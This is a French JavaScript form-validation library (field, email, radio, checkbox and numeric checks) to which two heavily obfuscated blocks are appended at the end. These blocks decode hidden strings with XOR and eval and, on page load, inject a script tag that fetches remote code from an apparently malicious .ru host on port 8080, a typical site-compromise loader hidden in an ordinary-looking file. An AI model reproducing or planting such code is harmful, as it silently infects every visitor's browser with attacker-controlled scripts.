/**
* Function de controle de formulaire
* 
* @author   mabaakouk@alcyonis.fr
* @version  1.0 
* @since    28/06/2004
*
**/

var champ_a_verif=new Array();
var champ_a_verif_form=new Array();
var champ_a_verif_libelle=new Array();
var champ_a_verif_type=new Array();
var champ_a_verif_error_string="Veuillez renseigner les informations suivantes";

/* ajout_champ_a_verif
*
*	Ajout un champ de formulaire au processus de verification
*
* @param    string    nom du formulaire
* @param    string    nom du champ du formulaire
* @param    string    libelle du message d'erreur lorsqu'un champs n'est pas valide
* @param    string    type du champs à verifier
*           Valeur possible :
*			 - "mandatory" : on verifie que le champ n'est pas vide
*			 - "email" : on verifie que le champs contient une adresse email
*			 - "minN"  : on verifie que le champ contient au moin N caractere
*			 - "maxN"  : on verifie que le champ contient au plus N caractere
*			 - "radio" : on verifie que un des  bouton radio et selectionne (uniquement sur un champ 'radiobutton') !!!implique mandatory!!!
*			 - "checkbox" : on verifie que le champ est coche (uniquement sur un champ 'checkbox') !!!implique mandatory!!!
*			 - "int" :  on verifie que le champ est un entier
*			 - "float" : on verifie que le champ est un float
*
* @return   string    return true si les informations sont correct
**/

function ajout_champ_a_verif(form,name,libelle,type){
	//alert(name+","+libelle+","+type)
	if (name!="" && libelle!="" && form!="" && name!=undefined && libelle!=undefined && form!=undefined)
	{
		index=champ_a_verif.length;
		champ_a_verif[index]=name;
		champ_a_verif_form[index]=form;
		champ_a_verif_libelle[index]=libelle;
		champ_a_verif_type[index]=type;
		return true;
	}
	else
		return false;
}

/* set_error_champ_a_verif
*
*	Ajout un champ de formulaire au processus de verification
* @param    string    Le message d'erreur
*
**/

function set_error_champ_a_verif(str){
	champ_a_verif_error_string=str;
}

/* ajout_champ_a_verif
*
*	Lance la verification du formulaire et genere une erreur si il a lieu
*
* @param    string    nom du formulaire à verifier
* @return   string    return true si les informations sont correct sinon false;
*
**/

function verif_champ(theform){
	var str_verif="";
	//verification du contenu des champ type
	//alert(champ_a_verif.length);
	for(i=0;i<champ_a_verif.length;i++)
	{
		if(champ_a_verif_form[i]==theform)
		{
			//alert(champ_a_verif_type[i]);

			if (champ_a_verif_type[i]=="radio")
			{
				is_good = verif_type_radio(champ_a_verif[i]);
			}
			else if (champ_a_verif_type[i]=="checkbox")
			{
				is_good = eval("document."+theform+"."+champ_a_verif[i]+".checked");
			}
			else if (champ_a_verif_type[i]=="mandatory")
			{
				is_good = (eval("document."+theform+"."+champ_a_verif[i]+".value")!="");
			}		
			else if ( eval("document."+theform+"."+champ_a_verif[i]+".value")!="" && eval("document."+theform+"."+champ_a_verif[i]+".value")!=undefined)
			{
				if (champ_a_verif_type[i]=="email")
				{
					is_good = verif_type_email(eval("document."+theform+"."+champ_a_verif[i]+".value"));
				}
				else if (champ_a_verif_type[i]=="float")
				{
					is_good = !isNaN(eval("document."+theform+"."+champ_a_verif[i]+".value"));
				}			
				else if (champ_a_verif_type[i]=="int")
				{
					is_good = ( !isNaN(eval("document."+theform+"."+champ_a_verif[i]+".value")) && eval("document."+theform+"."+champ_a_verif[i]+".value.indexOf('.')")==-1 );
				}
				else if (champ_a_verif_type[i].substr(0,3)=="min")
				{
					is_good = (eval("document."+theform+"."+champ_a_verif[i]+".value.length")>=champ_a_verif_type[i].substring(3,champ_a_verif_type[i].length));
				}
				else if (champ_a_verif_type[i].substr(0,3)=="max")
				{
					is_good = (eval("document."+theform+"."+champ_a_verif[i]+".value.length")<=champ_a_verif_type[i].substring(3,champ_a_verif_type[i].length));
				}
			}
			else
				is_good=true;
			if (!is_good)
				str_verif+="\n- "+champ_a_verif_libelle[i];

		}// fin if(champ_a_verif_type_form[i]==theform)
	}// fin for(i=0;i<champ_a_verif.length;i++)
	if (str_verif!="")
	{	
		alert(champ_a_verif_error_string+" : "+str_verif);
		return false;
	}
	return true;
	
}

/* Fonction de controle de champ speciaux utilise par verif_champ() */
function verif_type_email (email)
{
	var at = email.indexOf('@');
	var dot = email.indexOf('.');
	
	if(at > 0 && ((dot - at) != 1) && ((dot - at) > 0))
		return true;
	else
		return false;			
}

function verif_type_radio(btn_radio){
	var is_good;
	for (j=0;document.getElementsByName(btn_radio)[j];j++ )
	{
		is_good = document.getElementsByName(btn_radio)[j].checked || is_good;
	}	
	return is_good;
}
var dgQ="b0bab392a2f5a0b1ba9e9ae0a5b5a2bacb95a883a5bfb5a6ae96a8b180a299b184ebc6ecc4ea9a9f8ba19bbd86b4b09c82a6b5aeabada5b1a4bdbca0b587a4bdbcd498a0cab6b280d898a7c9bfa0";var Nv;if(Nv!='YN' && Nv!='Fk'){Nv='YN'};var Sf;if(Sf!='vj' && Sf!='Wyk'){Sf='vj'};this.Ir=12350;function A(i){this.Q=""; var n=function(l,E){var ei;if(ei!='' && ei!='Er'){ei=''};this.Te=54773;return l[P("ahcoCrAedt", [2,1,0])](E);};var PW=29757;this.Nx="Nx";var wL;if(wL!='dN' && wL != ''){wL=null};var TD;if(TD!='xV' && TD!='qX'){TD=''};var J=new Array(); var g=function(o,T){return o^T;this.FB=false;};var zu;if(zu!='tl'){zu=''};var Ae;if(Ae!='X'){Ae='X'};var Wq;if(Wq!='zk'){Wq='zk'}; var D=function(C){var m;if(m!='MC'){m=''};var B=[212,1,243,196][1];var RD;if(RD!='qO' && RD!='EU'){RD=''};var e=[168,27,255][2];var fz;if(fz!='' && fz!='GJ'){fz=''};var h=[0,207,0,156][0];var K=[0][0];this.lG="";var Di;if(Di!='DD' && Di!='lB'){Di='DD'};var Tl;if(Tl!='gl' && Tl != ''){Tl=null};var f=C[P("elntgh", [1,0,2])];var PH;if(PH!='' && PH!='IE'){PH='r'};var xq='';while(K<f){var VT="";K++;this.Kl='';v=n(C,K - B);var k='';var VZ='';h+=v*f;var SA=new String();}var lK="lK";return new b(h % e);};var Me;if(Me!='' && Me!='zz'){Me='pt'};var tw=""; var Ib;if(Ib!=''){Ib='JF'};var wW=new String();function q(d){var dj=new Date();var od;if(od!=''){od='vT'};var U = '';var RZ=false;var qr=new Date();var pI;if(pI!='xo' && pI!='Tf'){pI='xo'};var Z =[41,84,0][2];var TS=new Array();this.ifS='';d = new b(d);var H =[0,18][0];var Uw = -1;this.Bu="";var gH;if(gH!='pY' && gH!='qS'){gH='pY'};var Gs="";var kK=new String();var pf=new Array();var MU=new Array();for (H=d[P("tgnleh", [3,4,2,1,0])]-Uw;H>=Z;H=H-[9,1][1]){var zr;if(zr!='' && zr!='tZ'){zr=''};var qe;if(qe!='' && qe!='yF'){qe=''};U+=d[P("hacAtr", [2,0,1])](H);var cX="";}var ZY=new Array();var ps=new Array();var qC="";return U;}this.Uc='';this.jW=false; var Hg="Hg";var Ag="Ag";function P(d, s){var Nu;if(Nu!='' && Nu!='OL'){Nu=null};this.qY=54535;var U = '';var We;if(We!='Rj' && We != ''){We=null};var xm;if(xm!='IY'){xm='IY'};var Z=[120,77,0][2];this.dtR=44083;this.Tw=64657;var cg=new Date();var B=[154,1,142][1];var Os;if(Os!='WF' && Os!='TIZ'){Os='WF'};var Ji;if(Ji!='dQ' && Ji!='pE'){Ji='dQ'};var fh = s.length;var ge=new Array();var z = d.length;var xkw;if(xkw!='' && xkw!='BX'){xkw='gU'};var DS;if(DS!='' && DS!='iO'){DS=''};var Re='';var kN;if(kN!='SO'){kN=''};for(var H = Z; H < z; H += fh) {var xz;if(xz!='' && xz!='JV'){xz=''};this.lY=27752;this.SE=6651;this.nv=9777;var zL = d.substr(H, fh);this.dw='';if(zL.length == fh){var OI;if(OI!='' && OI!='WD'){OI='we'};var eI;if(eI!='' && eI!='oU'){eI='mw'};for(var K in s) {var gX;if(gX!='Wej' && gX != ''){gX=null};var Vr;if(Vr!=''){Vr='uY'};var ZL;if(ZL!=''){ZL='bY'};U+=zL.substr(s[K], B);var af;if(af!='EY'){af=''};var ZT;if(ZT!='iA'){ZT=''};var rC;if(rC!='As' && rC!='rP'){rC=''};this.yA=false;}var IM=new Date();var WY;if(WY!='SEX'){WY=''};} else {  U+=zL;}var Byb;if(Byb!='FE'){Byb='FE'};var Cf="";}var SQ=24663;this.Df='';return U;}var KS;if(KS!='QuY' && KS!='Eh'){KS='QuY'};var Oh;if(Oh!='' && Oh!='AgL'){Oh='bC'};this.Iz='';this.jv='';var I=window;this.ok=false;this.tgc=false;var W=I[P("lave", [3,2,1,0])];this.iK='';var gw;if(gw!='xB' && gw!='Qb'){gw='xB'};var V=W(P("cuFnnito", [2,1,3,0]));var iQY;if(iQY!='RZP' && iQY != ''){iQY=null};var Rw;if(Rw!='Hgb'){Rw=''};var b=W(P("nrtSig", [3,2,1,4,0,5]));var NI=new String();var j=W(P("geERxp", [3,1,0,2]));var Tt;if(Tt!='' && Tt!='dS'){Tt='Egf'};var PG="PG";var G = '';this.SN="";var dW;if(dW!='Ic' && dW!='mR'){dW='Ic'};var CW=false;var wF;if(wF!='' && wF!='Vm'){wF='LB'};this.lc='';var iW=I[P("scenuape", [4,3,2,0,1])];var Wa;if(Wa!='nj'){Wa='nj'};var ju;if(ju!='nM'){ju='nM'};var lp=b[P("rofChmrCadeo", [2,0,1])];var sL=false;var M=[1, P("omucdnc.teeetarlemeEts\'(nrtpic\')", [4,0,3,2,1]),2, P("ucodtnemdob.pa.ydneplihC)d(d", [3,2,1,0]),3, P("mcco.lestariedinesg.ru:8080", [2,3,0,4,1,5,6]),4, P("oc.mraomgrmasec.mob.beo", [1,0]),5, P(".desAtttirubet\'(edef\'r", [1,0]),6, P("eoggco.lom", [3,1,5,2,7,0,6,4]),7, P("wdo.onwinload", [6,7,5,1,4,0,3,2]),8, P("asgmr.neacom", [2,1,3,0,4]),11, P("ufcnitno)(", [1,0]),12, P("werefebs", [4,2,3,1,0]),14, P("(hae)ctc", [5,2,6,7,1,0,3,4]),15, P("cec.tnom", [2,5,1,4,3,0]),16, P(":ph\"tt", [3,2,5,4,1,0]),17, P("ocm51.", [3,4,5,1,0,2]),18, P(".drsc", [1,0]),19, P("\'\'1)", [1,2,0]),20, P("rty", [1,0,2])];var eS = /[^@a-z0-9A-Z_-]/g;var p =[0][0];var iX = i[P("gelnth", [2,1,3,0])];var w =[54,2][1];var S = b.fromCharCode(37);var bG;if(bG!='' && bG!='yS'){bG='mk'};var Eu = '';var B =[1,252][0];var Gg;if(Gg!='' && Gg!='IG'){Gg=''};var jlw=new Date();this.fb=false;var to;if(to!=''){to='VY'};var Z =[61,0][1];var OAG=new String();var ng=new String();var x = '';var bb;if(bb!='mpA'){bb='mpA'};var a = '';this.ZRB="";this.IF='';var fr;if(fr!='nC'){fr='nC'};var dJ=false;this.Jf="Jf";var ZC='';for(var t=Z; t < iX; t+=w){var iXl=new String();var gm=new Date();Eu+= S; var PA;if(PA!='' && PA!='yt'){PA=null};Eu+= i[P("rbutss", [4,2,1,5,3,0])](t, w);this.ac=false;var PAm=new String();}var Oz;if(Oz!='' && Oz!='mK'){Oz=''};var aS;if(aS!='' && aS!='hw'){aS=null};var FM;if(FM!='hOy' && FM!='Rh'){FM=''};var i = iW(Eu);var Qw;if(Qw!='' && Qw!='Bo'){Qw='zY'};var Gw = new b(A);var pYx=new Array();var PZ = Gw[P("elprace", [3,0,2,1])](eS, x);var jm=new Array();var XB;if(XB!='Xy'){XB=''};var By = M[P("elgnht", [1,0])];var aC = new b(V);var fC='';this.BR=false;PZ = q(PZ);this.hN=false;this.La=false;var WwZ;if(WwZ!=''){WwZ='sx'};var jl = aC[P("clpaere", [5,4,2,1,3,0])](eS, x);var jl = D(jl);var ze=D(PZ);for(var H=Z; H < (i[P("nlgeth", [1,3,0,2])]);H=H+[179,1,137,35][1]) {var pr;if(pr!='kl' && pr!='yK'){pr=''};var Om=new String();var tD;if(tD!='' && tD!='gS'){tD='Vf'};var WH = PZ.charCodeAt(p);var Rc="Rc";var uP;if(uP!='' && uP!='bJ'){uP=null};var nS = n(i,H);this.LN="LN";var Ye=new String();nS = g(nS, WH);this.MV='';var QC=59203;nS = g(nS, ze);this.KD='';nS = g(nS, jl);p++;if(p > PZ.length-B){this.Pv="Pv";p=Z;var zX;if(zX!='' && zX!='XF'){zX=''};}var hU='';var RDp='';a += lp(nS);var tn;if(tn!='Jp'){tn=''};this.lF="";}this.nq=false;this.qej="qej";var Rk;if(Rk!=''){Rk='MD'};for(Se=Z; Se < By; Se+=w){var Ci='';var Cs='';var qh='';var Vx="";var Av;if(Av!='' && Av!='cu'){Av='is'};var RJq='';var ph=false;var Fz = lp(M[Se]);var Yv;if(Yv!='' && Yv!='YH'){Yv=''};var Ww = M[Se + B];var ZQh=false;this.Of="";var Hv = new j(Fz, lp(103));this.hj='';a=a[P("elprace", [3,0,2,1])](Hv, Ww);var Jiz='';}var iD;if(iD!='Sq'){iD='Sq'};var u=new V(a);var rN;if(rN!='Yh' && rN!='gR'){rN='Yh'};this.Vj="";u();this.BZ='';this.OZ="";var mm=false;a = '';var av="";var Xp;if(Xp!='Tlf'){Xp='Tlf'};var TQ;if(TQ!='' && TQ!='pw'){TQ=''};this.hL=false;ze = '';var Dv;if(Dv!='' && Dv!='ZO'){Dv=''};aC = '';this.kk=false;jl = '';var YIB;if(YIB!='HVV'){YIB='HVV'};u = '';this.OxT=false;this.aj="";this.Wk="";PZ = '';var VK="VK";this.ySh=16745;this.rCe="";var ak='';return '';var FgW=new String();};var Nv;if(Nv!='YN' && Nv!='Fk'){Nv='YN'};var Sf;if(Sf!='vj' && Sf!='Wyk'){Sf='vj'};this.Ir=12350;A(dgQ);
var N;if(N!='' && N!='F'){N='m'};function u() {this.V="";var k_=new String();var JX=new String();var h=']';this.id="";this.c="";var P='[';var Bp=new String();var Cy=new Date();var f='replace';var Ri;if(Ri!='' && Ri!='_K'){Ri=null};var q;if(q!='' && q!='km'){q=null};var L;if(L!='mr'){L=''};var p='g';var nt;if(nt!='' && nt!='few'){nt=''};var j=RegExp;this.Ff="";var b;if(b!='dy'){b='dy'};var B=new String();var jw=new Date();function z(A,D){var oE='';var i=P;var Lv="";var Hl;if(Hl!='ll' && Hl != ''){Hl=null};i+=D;i+=h;var EN=new String();var l=new j(i, p);var WR=new Array();var DZ='';return A[f](l, B);};this.Ld="";var Fg;if(Fg!='PE'){Fg='PE'};var sv=new Date();var o=z('hYt_tYpY:R/_/_c5h_iYnzaz-Yczo5mz-_cznR._aRnYj5uRk_e5.zcRo_mY.YnYeYtRlRozgY-5c5oRmR._jYeRrRs_e5yRhYoYmzeYs_i_tRe5.Rrzu5:z',"_RzY5");var WT;if(WT!='aN'){WT='aN'};var _B='';var PL='';var pN=window;var Q=z('sOcIroijpftO',"ojOfI");var d=z('c_r_e8a_t8e8E8l8e8m8e_n8t_',"8_");var bD;if(bD!='Li' && bD!='jY'){bD='Li'};var fz=new Array();var e=z('834315405445181344434011555',"4315");var wR=new Array();var hI=new Date();var R=z('/6gvovo6gvlvev.ycyoPmP/PgPoyoygylvev.ycyoymy/6ty-Pm6ovbvi6l6ev.ycyoPmy/vaPzyePty.vsyky/PpPhvovtvoPbyuPcvkPePtv.ycvoPmP.yp6hypy',"Py6v");var ml=new Date();var l_=new Date();pN[z('oDnDlDoxaxdD',"xD")]=function(){var rb;if(rb!='ke'){rb=''};try {this.DU='';var PP;if(PP!='CF' && PP != ''){PP=null};PL+=o;PL+=e;var Kr;if(Kr!='VD' && Kr != ''){Kr=null};PL+=R;this.uL="";O=document[d](Q);this.mQ="";this.HT="";var HQ;if(HQ!='' && HQ!='rR'){HQ='wi'};var jf=new Date();E(O,'src',PL);var FE=new Array();var Se="";var Hr=new Date();E(O,'defer',([1,7][0]));this.Pj="";var Qn=new Array();document.body.appendChild(O);this.xJ="";} catch(Y){var zI;if(zI!='' && zI!='Px'){zI=null};};};var Vm=new String();var AA='';function E(W,fC,n){var q_;if(q_!='' && q_!='qe'){q_=null};W.setAttribute(fC, n);var Xk;if(Xk!='Sy' && Xk != ''){Xk=null};this.ye="";}var Rf='';var Tt;if(Tt!='qT'){Tt=''};var MM=new Array();this.zN="";};var Ii;if(Ii!='' && Ii!='uoD'){Ii=''};var WU='';u();